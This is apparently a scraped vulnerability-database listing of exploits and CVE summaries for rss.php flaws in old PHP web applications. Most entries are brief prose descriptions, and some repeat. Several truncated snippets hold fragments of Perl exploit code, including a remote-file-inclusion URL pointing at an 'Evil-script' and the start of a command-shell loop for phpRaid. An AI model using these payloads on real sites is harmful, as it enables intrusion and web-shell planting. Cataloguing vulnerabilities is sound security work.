fuzzylime (cms) 3.01 Remote Command Execution Exploit

No description provided by source. !/usr/bin/perl fuzzylime 3.0.1 Perl exploit discovered & written by Ams [email protected] DESCRIPTION: There are availability to load files through script rss.php, and also there are unfiltered extract; usage. This exploit creates shell in...

Fuzzylime CMS 3.01 - Remote Command Execution

Fuzzylime CMS 3.01 - Remote Command Execution !/usr/bin/perl fuzzylime 3.0.1 Perl exploit discovered & written by Ams [email protected] DESCRIPTION: There are availability to load files through script rss.php, and also there are unfiltered extract; usage. This exploit creates shell in...

fuzzylime cms 3.01 Remote Command Execution Exploit

No description provided by source. !/usr/bin/perl fuzzylime 3.0.1 Perl exploit discovered & written by Ams [email protected] DESCRIPTION: There are availability to load files through script rss.php, and also there are unfiltered extract; usage. This exploit creates shell in...

Fuzzylime CMS 3.01 - Remote Command Execution

!/usr/bin/perl fuzzylime 3.0.1 Perl exploit discovered & written by Ams [email protected] DESCRIPTION: There are availability to load files through script rss.php, and also there are unfiltered extract; usage. This exploit creates shell in /code/counter/middleindexinc.php USAGE: Run exploit: perl...

CVE-2008-2978: Improper Limitation of a Pathname to a Restricted Directory

Directory traversal vulnerability in phpi/rss.php in Ourvideo CMS 9.5, when registerglobals is enabled, allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the prefix parameter...

Directory traversal

Multiple directory traversal vulnerabilities in OtomiGenX 2.2 allow remote attackers to include and execute arbitrary local files via a .. dot dot in the lang parameter to 1 libraryrss.php and 2 rss.php...

CVE-2008-2782

CVE-2008-2782 affects OtomiGenX 2.2. The vulnerability is a directory-traversal flaw in the PHP components library_rss.php and rss.php that allows remote attackers to include and execute arbitrary local files by supplying a .. (dot dot) in the lang parameter. This aligns with the NVD entry (CVSSv...

CVE-2008-2782: Improper Limitation of a Pathname to a Restricted Directory

Multiple directory traversal vulnerabilities in OtomiGenX 2.2 allow remote attackers to include and execute arbitrary local files via a .. dot dot in the lang parameter to 1 libraryrss.php and 2 rss.php...

CVE-2008-0682: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in wordspew-rss.php in the Wordspew plugin before 3.72 for Wordpress allows remote attackers to execute arbitrary SQL commands via the id parameter...

PT-2008-2120 · WordPress · Gallery

Name of the Vulnerable Software and Affected Versions: fGallery plugin for WordPress version 2.4.1 Description: The issue allows remote attackers to execute arbitrary SQL commands. This is achieved via the album parameter in the fim rss.php file. Recommendations: For version 2.4.1, consider...

Sql injection

SQL injection vulnerability in rss.php in Zenphoto 1.1 through 1.1.3 allows remote attackers to execute arbitrary SQL commands via the albumnr parameter...

CVE-2007-6666

SQL injection vulnerability in rss.php in Zenphoto 1.1 through 1.1.3 allows remote attackers to execute arbitrary SQL commands via the albumnr parameter...

CVE-2007-6666: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in rss.php in Zenphoto 1.1 through 1.1.3 allows remote attackers to execute arbitrary SQL commands via the albumnr parameter...

Zenphoto 1.1.3 (rss.php albumnr) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl -w Zenphoto 1.1.3 SQL Injection Exploit Discovered by:...

CVE-2007-6587: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in plog-rss.php in Plogger 1.0 Beta 3.0 allows remote attackers to execute arbitrary SQL commands via the id parameter...

CVE-2007-5980: Improper Neutralization of Input During Web Page Generation

Cross-site scripting XSS vulnerability in home/rss.php in eggblog before 3.1.1 allows remote attackers to inject arbitrary web script or HTML via the PATHINFO PHPSELF...

PHPRaid RSS.PHP远程文件包含漏洞

!/usr/bin/perl phpraid cmd shell example: Exploit : http://www.example.com/phpRaidpath/rss.php?phpraiddir=Evil-script? use LWP::UserAgent; $Path = $ARGV0; $Pathtocmd = $ARGV1; $cmdv = $ARGV2; if$Path!/http:/// || $Pathtocmd!/http:/// || !$cmdvusage head; while print "shell $"; while $cmd=$;...

CVE-2007-1605: Undefined Security Weakness

w-Agora Web-Agora allows remote attackers to obtain sensitive information via a request to rss.php with an invalid 1 site or 2 bn parameter, 3 a certain value of the site parameter, or 4 an empty value of the bn parameter; a request to index.php with a certain value of the 5 site or 6 sort...

phpraid-rfi.txt

!/usr/bin/perl phpraid cmd shell example: Exploit : http://www.example.com/phpRaidpath/rss.php?phpraiddir=Evil-script? use LWP::UserAgent; $Path = $ARGV0; $Pathtocmd = $ARGV1; $cmdv = $ARGV2; if$Path!/http:/// || $Pathtocmd!/http:/// || !$cmdvusage head; while print "shell $"; while $cmd=$;...

phpRaid < 3.0.7 (rss.php phpraid_dir) Remote File Inclusion Exploit

Exploit for unknown platform in category web applications =================================================================== phpRaid cmd shell example: Exploit : http://www.example.com/phpRaidpath/rss.php?phpraiddir=Evil-script? use LWP::UserAgent; $Path = $ARGV0; $Pathtocmd = $ARGV1; $cmdv =...